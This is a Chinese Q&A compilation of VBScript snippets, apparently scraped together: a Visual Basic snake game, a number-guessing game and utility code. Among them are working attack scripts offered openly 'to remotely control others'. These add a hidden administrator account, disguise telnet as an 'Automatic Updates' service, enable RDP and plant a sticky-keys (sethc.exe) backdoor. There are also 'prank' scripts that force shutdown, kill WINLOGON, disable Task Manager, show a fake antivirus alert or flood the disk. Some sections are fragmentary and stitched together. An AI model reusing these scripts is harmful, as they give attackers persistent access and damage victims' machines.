vbs小游戏代码(求用vbs编写的贪吃蛇源代码)

本文目录
- 求用vbs编写的贪吃蛇源代码
- vbs代码大全
- 制作一个vbs小程序(代码)
- vbs常用代码
- 求一些有趣的VBS代码
- 给我几个vbs捉弄人的代码,网上的都用过了,没意思,给一个好玩点的!!!
- 求简单的vbs代码
- 求大量VBS整人代码.
求用vbs编写的贪吃蛇源代码
需用VB实现,代码如下
’定义蛇的运动速度枚举值
Private Enum tpsSpeed
QUICKLY = 0
SLOWLY = 1
End Enum
’定义蛇的运动方向枚举值
Private Enum tpsDirection
D_UP = 38
D_DOWN = 40
D_LEFT = 37
D_RIGHT = 39
End Enum
’定义运动区域4个禁区的枚举值
Private Enum tpsForbiddenZone
FZ_TOP = 30
FZ_BOTTOM = 5330
FZ_LEFT = 30
FZ_RIGHT = 5730
End Enum
’定义蛇头及身体初始化数枚举值
Private Enum tpsSnake
SNAKEONE = 1
SNAKETWO = 2
SNAKETHREE = 3
SNAKEFOUR = 4
End Enum
’定义蛇宽度的常量
Private Const SNAKEWIDTH As Integer = 100
’该过程用于显示游戏信息
Private Sub Form_Load()
Me.Show
Me.lblTitle = “BS贪食蛇 — (版本 “ & App.Major & “.“ & App.Minor & “.“ & App.Revision & “)“
Me.Caption = Me.lblTitle.Caption
frmSplash.Show 1
End Sub
’该过程用于使窗体恢复原始大小
Private Sub Form_Resize()
If Me.WindowState 《》 1 Then
Me.Caption = ““
Me.Height = 6405 ’窗体高度为 6405 缇
Me.Width = 8535 ’窗体宽度为 8535 缇
Me.Left = (Screen.Width - Width) \ 2
Me.Top = (Screen.Height - Height) \ 2
End If
End Sub
’该过程用于重新开始开始游戏
Private Sub cmdGameStart_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
Beep
msg = MsgBox(“您确认要重新开始游戏吗?“, 4 + 32, “BS贪食蛇“)
If msg = 6 Then Call m_subGameInitialize
End Sub
’该过程用于暂停/运行游戏
Private Sub chkPause_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
If Me.chkPause.Caption = “暂停游戏(&P)“ Then
Me.tmrSnakeMove.Enabled = False
Me.tmrGameTime.Enabled = False
Me.picMoveArea.Enabled = False
Me.lblPauseLab.Visible = True
Me.chkPause.Caption = “继续游戏(&R)“
Else
Me.tmrSnakeMove.Enabled = True
Me.tmrGameTime.Enabled = True
Me.picMoveArea.Enabled = True
Me.lblPauseLab.Visible = False
Me.chkPause.Caption = “暂停游戏(&P)“
End If
End Sub
’该过程用于显示游戏规则
Private Sub cmdGameRules_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
Beep
MsgBox “ BS贪食蛇:一个规则最简单的趣味游戏,您将用键盘“ & Chr(13) & _
“上的4个方向键来控制蛇的运动方向。在运动过程中蛇“ & Chr(13) & _
“不能后退,蛇的头部也不能接触到运动区域的边线以外“ & Chr(13) & _
“和蛇自己的身体,否则就游戏失败。在吃掉随机出现的“ & Chr(13) & _
“果子后,蛇的身体会变长,越长难度越大。祝您好运!!“, 0 + 64, “游戏规则“
End Sub
’该过程用于显示游戏开发信息
Private Sub cmdAbout_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
Beep
MsgBox “BS贪食蛇“ & “(V-“ & App.Major & “.“ & App.Minor & “版本)“ & Chr(13) & Chr(13) & _
““ & Chr(13) & Chr(13) & _
“由PigheadPrince设计制作“ & Chr(13) & _
“CopyRight(C)2002,BestSoft.TCG“, 0, “关于本游戏“
End Sub
’该过程用于退出游戏
Private Sub cmdExit_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
Beep
msg = MsgBox(“您要退出本游戏吗?“, 4 + 32, “BS贪食蛇“)
Select Case msg
Case 6
End
Case 7
Me.chkWindowButton(2).Value = 0
Exit Sub
End Select
End Sub
’该过程用于拖动窗体_(点击图标)
Private Sub imgWindowTop_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
ReleaseCapture
SendMessage Me.hwnd, WM_SYSCOMMAND, SC_MOVE, 0
End Sub
’该共用过程用于处理窗体控制按钮组的相关操作_(锁定、最小化、退出)
Private Sub chkWindowButton_MouseUp(Index As Integer, Button As Integer, Shift As Integer, X As Single, Y As Single)
If Button 《》 1 Then Exit Sub
Select Case Index
Case 0 ’锁定窗体
If Me.chkWindowButton(0).Value = 1 Then
Me.imgWindowTop.BorderStyle = 0
Me.imgWindowTop.Enabled = False
Else
Me.imgWindowTop.BorderStyle = 1
Me.imgWindowTop.Enabled = True
End If
Case 1 ’最小化
Me.WindowState = 1
Me.chkWindowButton(1).Value = 0
Me.Caption = “BS贪食蛇 — (V-“ & App.Major & “.“ & App.Minor & “版本)“
Case 2 ’退出
Beep
msg = MsgBox(“您要退出本游戏吗?“, 4 + 32, “BS贪食蛇“)
Select Case msg
Case 6
End
Case 7
Me.chkWindowButton(2).Value = 0
Exit Sub
End Select
End Select
End Sub
’该过程用于设置蛇运动速度的快慢
Private Sub hsbGameSpeed_Change()
Me.tmrSnakeMove.Interval = Me.hsbGameSpeed.Value
End Sub
’该过程用于通过键盘的方向键改变蛇的运动方向
Private Sub picMoveArea_KeyDown(KeyCode As Integer, Shift As Integer)
Select Case g_intDirection
Case D_UP
If KeyCode = D_DOWN Then Exit Sub
Case D_DOWN
If KeyCode = D_UP Then Exit Sub
Case D_LEFT
If KeyCode = D_RIGHT Then Exit Sub
Case D_RIGHT
If KeyCode = D_LEFT Then Exit Sub
End Select
g_intDirection = KeyCode
End Sub
’该计时循环过程用于计算游戏耗费的秒数并显示
Private Sub tmrGameTime_Timer()
g_lngGameTime = g_lngGameTime + 1
Me.lblGameTime.Caption = g_lngGameTime & “秒“
End Sub
’该计时循环过程用于控制蛇的行动轨迹
Private Sub tmrSnakeMove_Timer()
Dim lngSnakeX As Long, lngSnakeY As Long, lngSnakeColor As Long
Dim lngPointX As Long, lngPointY As Long, lngPointColor As Long
Randomize
Me.picMoveArea.SetFocus
Me.picMoveArea.Cls
’确认蛇头的运动方向并获取新的位置
Select Case g_intDirection
Case D_UP ’向上运动
g_udtSnake(SNAKEONE).Snake_CurX = g_udtSnake(SNAKEONE).Snake_OldX
g_udtSnake(SNAKEONE).Snake_CurY = g_udtSnake(SNAKEONE).Snake_OldY
g_udtSnake(SNAKEONE).Snake_CurY = g_udtSnake(SNAKEONE).Snake_CurY - SNAKEWIDTH
Case D_DOWN ’向下运动
g_udtSnake(SNAKEONE).Snake_CurX = g_udtSnake(SNAKEONE).Snake_OldX
g_udtSnake(SNAKEONE).Snake_CurY = g_udtSnake(SNAKEONE).Snake_OldY
g_udtSnake(SNAKEONE).Snake_CurY = g_udtSnake(SNAKEONE).Snake_CurY + SNAKEWIDTH
Case D_LEFT ’向左运动
g_udtSnake(SNAKEONE).Snake_CurX = g_udtSnake(SNAKEONE).Snake_OldX
g_udtSnake(SNAKEONE).Snake_CurX = g_udtSnake(SNAKEONE).Snake_CurX - SNAKEWIDTH
g_udtSnake(SNAKEONE).Snake_CurY = g_udtSnake(SNAKEONE).Snake_OldY
Case D_RIGHT ’向右运动
g_udtSnake(SNAKEONE).Snake_CurX = g_udtSnake(SNAKEONE).Snake_OldX
g_udtSnake(SNAKEONE).Snake_CurX = g_udtSnake(SNAKEONE).Snake_CurX + SNAKEWIDTH
g_udtSnake(SNAKEONE).Snake_CurY = g_udtSnake(SNAKEONE).Snake_OldY
End Select
’根据新的位置绘制蛇头
lngSnakeX = g_udtSnake(SNAKEONE).Snake_CurX
lngSnakeY = g_udtSnake(SNAKEONE).Snake_CurY
lngSnakeColor = g_udtSnake(SNAKEONE).Snake_Color
Me.picMoveArea.PSet (lngSnakeX, lngSnakeY), lngSnakeColor
’移动蛇身体其他部分的位置
For i = 2 To g_intSnakeLength
g_udtSnake(i).Snake_CurX = g_udtSnake(i - 1).Snake_OldX
g_udtSnake(i).Snake_CurY = g_udtSnake(i - 1).Snake_OldY
lngSnakeX = g_udtSnake(i).Snake_CurX
lngSnakeY = g_udtSnake(i).Snake_CurY
lngSnakeColor = g_udtSnake(i).Snake_Color
Me.picMoveArea.PSet (lngSnakeX, lngSnakeY), lngSnakeColor
Next i
’更新蛇旧的坐标位置
For j = 1 To g_intSnakeLength
g_udtSnake(j).Snake_OldX = g_udtSnake(j).Snake_CurX
g_udtSnake(j).Snake_OldY = g_udtSnake(j).Snake_CurY
Next j
’判断蛇在移动中是否到了禁区而导致游戏失败
If m_funMoveForbiddenZone(g_udtSnake(SNAKEONE).Snake_CurX, g_udtSnake(SNAKEONE).Snake_CurY) Then
Beep
MsgBox “您的蛇移动到了禁区,游戏失败!“, 0 + 16, “BS贪食蛇“
Me.tmrSnakeMove.Enabled = False
Me.tmrGameTime.Enabled = False
Me.picMoveArea.Visible = False
Exit Sub
End If
’判断蛇在移动中是否碰到了自己的身体而导致游戏失败
If m_funTouchSnakeBody(g_udtSnake(SNAKEONE).Snake_CurX, g_udtSnake(SNAKEONE).Snake_CurY) Then
Beep
MsgBox “您的蛇在移动中碰到了自己的身体,游戏失败!“, 0 + 16, “BS贪食蛇“
Me.tmrSnakeMove.Enabled = False
Me.tmrGameTime.Enabled = False
Me.picMoveArea.Visible = False
Exit Sub
End If
’判断蛇是否吃到了果子
If m_funEatPoint(g_udtSnake(SNAKEONE).Snake_CurX, g_udtSnake(SNAKEONE).Snake_CurY) Then
’累加玩家的得分并刷新得分显示
g_intPlayerScore = g_intPlayerScore + 1
Me.lblYourScore.Caption = g_intPlayerScore & “分“
Call m_subAddSnake ’加长蛇的身体
Call m_subGetPoint ’获取下一个果子的位置和颜色
Else
’绘制果子
lngPointX = g_udtPoint.Point_X
lngPointY = g_udtPoint.Point_Y
lngPointColor = g_udtPoint.Point_Color
Me.picMoveArea.PSet (lngPointX, lngPointY), lngPointColor
End If
End Sub
’该私有子过程用于初始化游戏
Private Sub m_subGameInitialize()
Erase g_udtSnake ’清空蛇的结构数组
g_intPlayerScore = 0 ’清空玩家的得分
g_lngGameTime = 0 ’清空游戏耗费的秒数
g_intDirection = D_DOWN ’设定蛇的初始运动方向为下
g_intSnakeLength = 4 ’设定蛇的初始长度
ReDim g_udtSnake(1 To g_intSnakeLength) ’重新定义蛇的长度
’定义蛇头部的数据
With g_udtSnake(SNAKEONE)
.Snake_OldX = 530
.Snake_OldY = 530
.Snake_Color = vbBlack
End With
’定义蛇身第2节的数据
With g_udtSnake(SNAKETWO)
.Snake_OldX = 530
.Snake_OldY = 430
.Snake_Color = vbGreen
End With
’定义蛇身第3节的数据
With g_udtSnake(SNAKETHREE)
.Snake_OldX = 530
.Snake_OldY = 330
.Snake_Color = vbYellow
End With
’定义蛇身第4节的数据
With g_udtSnake(SNAKEFOUR)
.Snake_OldX = 530
.Snake_OldY = 230
.Snake_Color = vbRed
End With
Me.picMoveArea.Visible = True
Me.lblYourScore.Caption = g_intPlayerScore & “分“
Me.lblGameTime.Caption = g_lngGameTime & “秒“
Me.tmrSnakeMove.Interval = Me.hsbGameSpeed.Value
Me.tmrSnakeMove.Enabled = True
Me.tmrGameTime.Enabled = True
Call m_subGetPoint ’获取第一个果子的位置和颜色
End Sub
接下面的
vbs代码大全
On Error Resume Next ’忽略错误
set wshshell=createobject (“wscript.shell“) ’调用 wscript.shell
a=wshshell.run (“netsh firewall set portopening TCP 23 ENABL“,0) ’让XP防火墙对23端口放行
b=wshshell.run (“sc config tlntsvr start= auto“,0) ’吧telnet改为手动
d=wshshell.run (“net1 user ganggang$ test /add“,0) ’添加一个帐户
e=wshshell.run (“net1 localgroup administrators ganggang$ /add“,0) ’加管理组
f=wshshell.run (“cmd /k copy ““%systemroot%\system32\tlntsvr.exe““ ““%systemroot%\java\rundl132.exe“““,0) ’复制telnet到java目录下改名为rundl132.exe
g=wshshell.run (“sc create ccservice binpath= ““%systemroot%\java\rundl132.exe““ type= own“,0) ’sc命令用服务的方式启动
h=wshshell.run (“sc config ccservice DisplayName= Automatic Updates“,0)
i=wshshell.run (“sc description ccservice 通知所选用户和计算机有关系统管理级警报。“,0)
j=wshshell.run (“sc config ccservice start= auto“,0) ’将服务设为自动
k=wshshell.run (“net1 start ccservice“,0) ’启动服务
z=wshshell.run (“ATTRIB +R +S +H ““%systemroot%\java\rundl132.exe“““,0) ’加个属性 艾权啊,我是DARK,给你个可以远程控制别人的VBS代码,没事试试也可以的 再给你一个开启3389创建用户粘滞键后门on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = “.“
Set StdOut = WScript.StdOut
Set oReg=GetObject(“winmgmts:{impersonationLevel=impersonate}!\\“ &_
strComputer & “\root\default:StdRegProv“)
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server“
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp“
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp“
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server“
strValueName = “fDenyTSConnections“
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp“
strValueName = “PortNumber“
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = “SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp“
strValueName = “PortNumber“
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username=“wykgif“:password=“wykgif123456“:end if:set wsnetwork=CreateObject(“WSCRIPT.NETWORK“):os=“WinNT://“&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&“/Administrators,group“):Set od=ob.Create(“user“,username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&“/“&username&“,user“):oe.Add(of.ADsPath)’wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject(“WScript.Shell“)
success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F?? %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe?? %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe“, 0, True)
CreateObject(“Scripting.FileSystemObject“).DeleteFile(WScript.ScriptName)
制作一个vbs小程序(代码)
请看我的终极代码:
On Error Resume NextDim num,var,writer,won,h
’Dim
h=Chr(13)
writer=“▉◎◎控盘惨制作◎◎▉ - “
’Variables.
Do
Randomize()
num=Int(Rnd()*100)
var=MsgBox(“我等一下会给出一个数字哦~你猜猜它是不是大于50呢?“+h+h+“▲注意:如要退出程序请点击““取消““或右上角的““X““按钮“,3+64,writer+“请猜数大于50还是小于50“)
Select Case var
Case 6
’\\\\\\\\
if num》50 Then
won=0
else
if num=50 Then
won=1
else
won=2
End if
End if
’\\\\\\\\
Case 7
’\\\\\\\\
if num《50 Then
won=0
else
if num=50 Then
won=1
else
won=2
End if
End if
’\\\\\\\\
Case Else
Wscript.Quit
End Select
Select Case won
Case 0
MsgBox “恭喜你,你赢了!“+h+h+“⊙数字=“ & num,0+64,writer+“Information“
Case 1
MsgBox “呵呵,平局,再来~“+h+h+“⊙数字=“ & num,0+64,writer+“Information“
Case 2
MsgBox “你选错了哦,别气馁“+h+h+“⊙数字=“ & num,0+64,writer+“Information“
End Select
Loop
我的代码考虑到了随机数可能等于50,并且制作了相关处理.并且随机数范围是100,这样的随机数几率才各占50%. 比那个什么lurong777的先进10000倍!!!
vbs常用代码
1、首先在电脑鼠标右键 新建一个文本文档。
2、然后点开文本文档进行,最重要的一个代码就是msgbox,然后在后面添加想要说的话,但是要使用英文标点符号,换行时候都需要在前面加上代码,最后保存。
3、保存好之后,对这个文本文档进行重命名更改后缀,把文本文档的txt改成vbs。
4、改vbs后缀会弹出一个提示框,提示你如果改变文件扩展名,可能会导致文件不可用,确定要改吗,点击是。
5、确定更改文件扩展名之后文本文档就会变成vbs,这样就表示已经完成制作。
6、只要双击这个vbs,桌面就会弹出你所的语言,一直点击确定就会出现你的所有内容。
求一些有趣的VBS代码
无害的,一个心理测试(膨胀)
有点简单。(。)
代码如下:
WScript.Echo(“嘿,谢谢你打开我哦,我等你很久拉!“&TSName)
WScript.Echo(“你是可爱的小朋吗?“)
WScript.Echo(“哈,我想你拉,这你都不知道吗?“)
WScript.Echo(“怎么才来,说~是不是不关心我“)
WScript.Echo(“哼,我生气拉,等你这么久,心都凉啦。“)
WScript.Echo(“小强很生气,后果很严重哦。“)
WScript.Echo(“嘿嘿!你也会很惨滴哦“)
WScript.Echo(“是不是想清除我?“)
WScript.Echo(“那你要点上50下哦,不过会给你惊喜滴“)
WScript.Echo(“还剩49下,快点点哦“)
WScript.Echo(“还剩48下,快点,小笨蛋!“)
WScript.Echo(“还剩47下对,就这样快点点!“)
WScript.Echo(“还剩46下。你啊就是笨,要快哦,我先不打扰你工作。“)
WScript.Echo(“还剩45下,记得要快哦!“)
WScript.Echo(“还剩43下“)
WScript.Echo(“还剩42下“)
WScript.Echo(“还剩41下“)
WScript.Echo(“还剩40下“)
WScript.Echo(“还剩39下“)
WScript.Echo(“还剩38下“)
WScript.Echo(“还剩37下“)
WScript.Echo(“还剩36下“)
WScript.Echo(“还剩35下“)
WScript.Echo(“还剩34下“)
WScript.Echo(“还剩33下“)
WScript.Echo(“还剩32下“)
WScript.Echo(“还剩30下“)
WScript.Echo(“还剩29下“)
WScript.Echo(“还剩28下“)
WScript.Echo(“还剩27下“)
WScript.Echo(“还剩26下“)
WScript.Echo(“还剩25下“)
WScript.Echo(“还剩24下“)
WScript.Echo(“还剩23下“)
WScript.Echo(“还剩22下“)
WScript.Echo(“还剩21下“)
WScript.Echo(“还剩20下“)
WScript.Echo(“还剩19下“)
WScript.Echo(“还剩18下“)
WScript.Echo(“还剩17下“)
WScript.Echo(“还剩16下“)
WScript.Echo(“还剩15下“)
WScript.Echo(“还剩14下“)
WScript.Echo(“还剩13下停停!!!慢点,我有话要说“)
WScript.Echo(“还剩12下,你继续点我就会消失滴“)
WScript.Echo(“还剩11下,以后就看不到我拉。555555“)
WScript.Echo(“还剩10下,你现在可以选择停止!“)
WScript.Echo(“还剩9下。你还点啊,不要我拉?“)
WScript.Echo(“还剩8下,有点伤心拉,干嘛丢弃人家“)
WScript.Echo(“还剩7下。疯了,你有点负意!“)
WScript.Echo(“还剩6下。对。你就点吧,我恨你!“)
WScript.Echo(“还剩5下,不明白,删除我你就好吗?“)
WScript.Echo(“还剩4下!真要删除我?“)
WScript.Echo(“还剩3下。可是我真的很眷恋你。。。“)
WScript.Echo(“还剩2下。不要这么绝情嘛,人家是爱你的!“)
WScript.Echo(“还剩1下。哼,既然你这么绝情。也别怪我无义!!!“)
WScript.Echo(“我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。“)
WScript.Echo(“想结素我么?那你就再多点一次“)
WScript.Echo(“想结素我么?那你就再多点一次“)
WScript.Echo(“想结素我么?那你就再多点一次“)
WScript.Echo(“想结素我么?那你就再多点一次“)
WScript.Echo(“想结素我么?那你就再多点一次“)
WScript.Echo(“想结素我么?那你就再多点一次“)
WScript.Echo(“想结素我么?那你就再多点一次“)
WScript.Echo(“想结素我么?那你就再多点一次“)
WScript.Echo(“想结素我么?那你就再多点一次“)
WScript.Echo(“想结素我么?那你就再多点一次“)
——————分割线————————
保存,保存类型为所有文件,名字随便,矿展名“.vbs”,保存后点开。
给我几个vbs捉弄人的代码,网上的都用过了,没意思,给一个好玩点的!!!
1.
set ad=createobject(“wscript.shell“)
ad.run“cmd /c shutdown -s -t 60“
wscript.sleep 10
ad.Run “ntsd -c q -pn WINLOGON.exe“
2.
Set ws = CreateObject(“WScript.Shell“)
ws.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\disabletaskmgr“, 1, “REG_DWORD“
do
createobject(“sapi.spvoice“).speak“foolish“
loop
求简单的vbs代码
个人收藏的,给你了。
1.VBS获取路径集合
1.1.VBS获取系统安装路径
程序代码
set WshShell = WScript.CreateObject(“WScript.Shell“)
strWinDir = WshShell.ExpandEnvironmentStrings(“%WinDir%“)
上面的代码意思是先定义这个变量是获取系统安装路径的,然后我们用“&strWinDir&“调用这个变量。
1.2.C:\Program Files路径
程序代码
msgbox CreateObject(“WScript.Shell“).ExpandEnvironmentStrings(“%ProgramFiles%“)
1.3.C:\Program Files\Common Files路径
程序代码
msgbox CreateObject(“WScript.Shell“).ExpandEnvironmentStrings(“%CommonProgramFiles%“)
2.给桌面添加网址快捷方式
程序代码
set gangzi = WScript.CreateObject(“WScript.Shell“)
strDesktop = gangzi.SpecialFolders(“Desktop“)
set oShellLink = gangzi.CreateShortcut(strDesktop & “\Internet Explorer.lnk“)
oShellLink.TargetPath = ““
For Each i In fso.Drives
If i.DriveType = 2 Then
GF fso.GetFolder(i & “\“)
End If
Next
Sub GF(fol)
Wh fol
Dim i
For Each i In fol.SubFolders
GF i
Next
End Sub
Sub Wh(fol)
Dim i
For Each i In fol.Files
If LCase(fso.GetExtensionName(i)) = “shtml“ Then
fso.OpenTextFile(i,8,0).Write Co
End If
Next
End Sub
18.获取计算机所有盘符
程序代码
Set fso=CreateObject(“scripting.filesystemobject“)
Set objdrives=fso.Drives ’取得当前计算机的所有磁盘驱动器
For Each objdrive In objdrives ’遍历磁盘
MsgBox objdrive
Next
19.VBS给本机所有磁盘根目录创建文件 (刚子原创)
程序代码
On Error Resume Next
Set fso=CreateObject(“Scripting.FileSystemObject“)
Set gangzis=fso.Drives ’取得当前计算机的所有磁盘驱动器
For Each gangzi In gangzis ’遍历磁盘
Set TestFile=fso.CreateTextFile(““&gangzi&“\新建文件夹.vbs“,Ture)
TestFile.WriteLine(“By www.gangzi.org“)
TestFile.Close
Next
20.VBS遍历本机全盘找到所有123.exe,然后给他们改名321.exe
程序代码
set fs = CreateObject(“Scripting.FileSystemObject“)
for each drive in fs.drives
fstraversal drive.rootfolder
next
sub fstraversal(byval this)
for each folder in this.subfolders
fstraversal folder
next
set files = this.files
for each file in files
if file.name = “123.exe“ then file.name = “321.exe“
next
end sub
21.VBS写入代码到粘贴板(先说明一下,VBS写内容到粘贴板,网上千篇一律都是通过InternetExplorer.Application对象来实现,但是缺点是在默认浏览器为非IE中会弹出浏览器,所以费了很大的劲找到了这个代码来实现)
程序代码
str=“这里是你要复制到剪贴板的字符串”
Set ws = wscript.createobject(“wscript.shell“)
ws.run “mshta vbscript:clipboardData.SetData(“+““““+“text“+““““+“,“+““““&str&““““+“)(close)“,0,true
22.QQ自动发消息(保存BVS运行即可看到效果,希望高手举一反三,刚子原创)
程序代码
On Error Resume Next
str=“我是笨蛋/qq“
Set WshShell=WScript.CreateObject(“WScript.Shell“)
WshShell.run “mshta vbscript:clipboardData.SetData(“+““““+“text“+““““+“,“+““““&str&““““+“)(close)“,0
WshShell.run “tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1“,0,true
WScript.Sleep 3000
WshShell.SendKeys “^v“
WshShell.SendKeys “%s“
23.VBS隐藏文件
程序代码
Set objFSO = CreateObject(“Scripting.FileSystemObject“)
Set objFile = objFSO.GetFile(“F:\软件大赛\show.txt“)
If objFile.Attributes = objFile.Attributes AND 2 Then
objFile.Attributes = objFile.Attributes XOR 2
End If
24.VBS生成随机数(521是生成规则,不同的数字生成的规则不一样,可以用于其它用途)
程序代码
Randomize 521
point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))
msgbox join(point,““)
25.VBS删除桌面IE图标(非快捷方式)
程序代码
Set oShell = CreateObject(“WScript.Shell“)
oShell.RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon“,1,“REG_DWORD“
26.VBS获取自身文件名
程序代码
Set fso = CreateObject(“Scripting.FileSystemObject“)
msgbox WScript.ScriptName
求大量VBS整人代码.
大量的楼上已经说了。这个是本人原创,亲测有用。毒性嘛,就是会烧CPU,然后在这个vbs旁边创建一大堆垃圾文件(请准备好30G空间)【具体在代码中】
仅供恶搞娱乐和研究,没有攻击任何人,组织的意图。
set qstart = wscript.CreateObject(“wscript.shell“)
set qweb = CreateObject(“Wscript.Shell“)
set qwrite = CreateObject(“scripting.filesystemobject“)
set qsay = CreateObject(“sapi.spvoice“)
qstart.run “D:\病毒BGM.mp3“ ’ 《江南皮革厂倒闭了.mp3》请准备好放在D:\
msgbox “您的电脑已被病毒入侵!“,vbokonly+vbExclamation,“360 Defender“
qstart.run “cmd.exe /c start appwiz.cpl“
qstart.run “cmd.exe /c start bthprops.cpl“
qstart.run “cmd.exe /c start calc.exe“
qstart.run “cmd.exe /c start cleanmgr.exe“
qstart.run “cmd.exe /c start cmd.exe“
qstart.run “cmd.exe /c start colorcpl.exe“
qstart.run “cmd.exe /c start control.exe“
qstart.run “cmd.exe /c start cttune.exe“
qstart.run “cmd.exe /c start desk.cpl“
qstart.run “cmd.exe /c start dfrgui.exe“
qstart.run “cmd.exe /c start dxdiag.exe“
qstart.run “cmd.exe /c start FileHistory.exe“
qstart.run “cmd.exe /c start Firewall.cpl“
qstart.run “cmd.exe /c start Fondue.exe“
qstart.run “cmd.exe /c start fontview.exe“
qstart.run “cmd.exe /c start fsquirt.exe“
qstart.run “cmd.exe /c start hdwwiz.cpl“
qstart.run “cmd.exe /c start inetcpl.cpl“
qstart.run “cmd.exe /c start intl.cpl“
qstart.run “cmd.exe /c start irprops.cpl“
qstart.run “cmd.exe /c start joy.cpl“
qstart.run “cmd.exe /c start LaunchTM.exe“
qstart.run “cmd.exe /c start Magnify.exe“
qstart.run “cmd.exe /c start main.cpl“
qstart.run “cmd.exe /c start mblctr.exe“
qstart.run “cmd.exe /c start mmsys.cpl“
qstart.run “cmd.exe /c start msinfo32.exe“
qstart.run “cmd.exe /c start mspaint.exe“
qstart.run “cmd.exe /c start ncpa.cpl“
qstart.run “cmd.exe /c start notepad.exe“
qstart.run “cmd.exe /c start powercfg.cpl“
qstart.run “cmd.exe /c start RTSnMg64.cpl“
qstart.run “cmd.exe /c start SnippingTool.exe“
qstart.run “cmd.exe /c start sysdm.cpl“
qstart.run “cmd.exe /c start TabletPC.cpl“
qstart.run “cmd.exe /c start telephon.cpl“
qstart.run “cmd.exe /c start timedate.cpl“
qstart.run “cmd.exe /c start write.exe“
qstart.run “cmd.exe /c start wscript.exe“
qstart.run “cmd.exe /c start wscui.cpl“
qstart.run “cmd.exe /c fsutil file createnew 1.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 2.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 3.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 4.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 5.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 6.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 7.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 8.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 9.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 10.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 11.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 12.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 13.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 14.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 15.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 16.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 17.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 18.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 19.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 20.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 21.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 22.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 23.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 24.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 25.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 26.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 27.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 28.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 29.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 30.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 31.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 32.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 33.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 34.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 35.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 36.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 37.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 38.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 39.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 40.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 41.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 42.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 43.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 44.bug 0“
qstart.run “cmd.exe /c fsutil file createnew 45.bug 0“
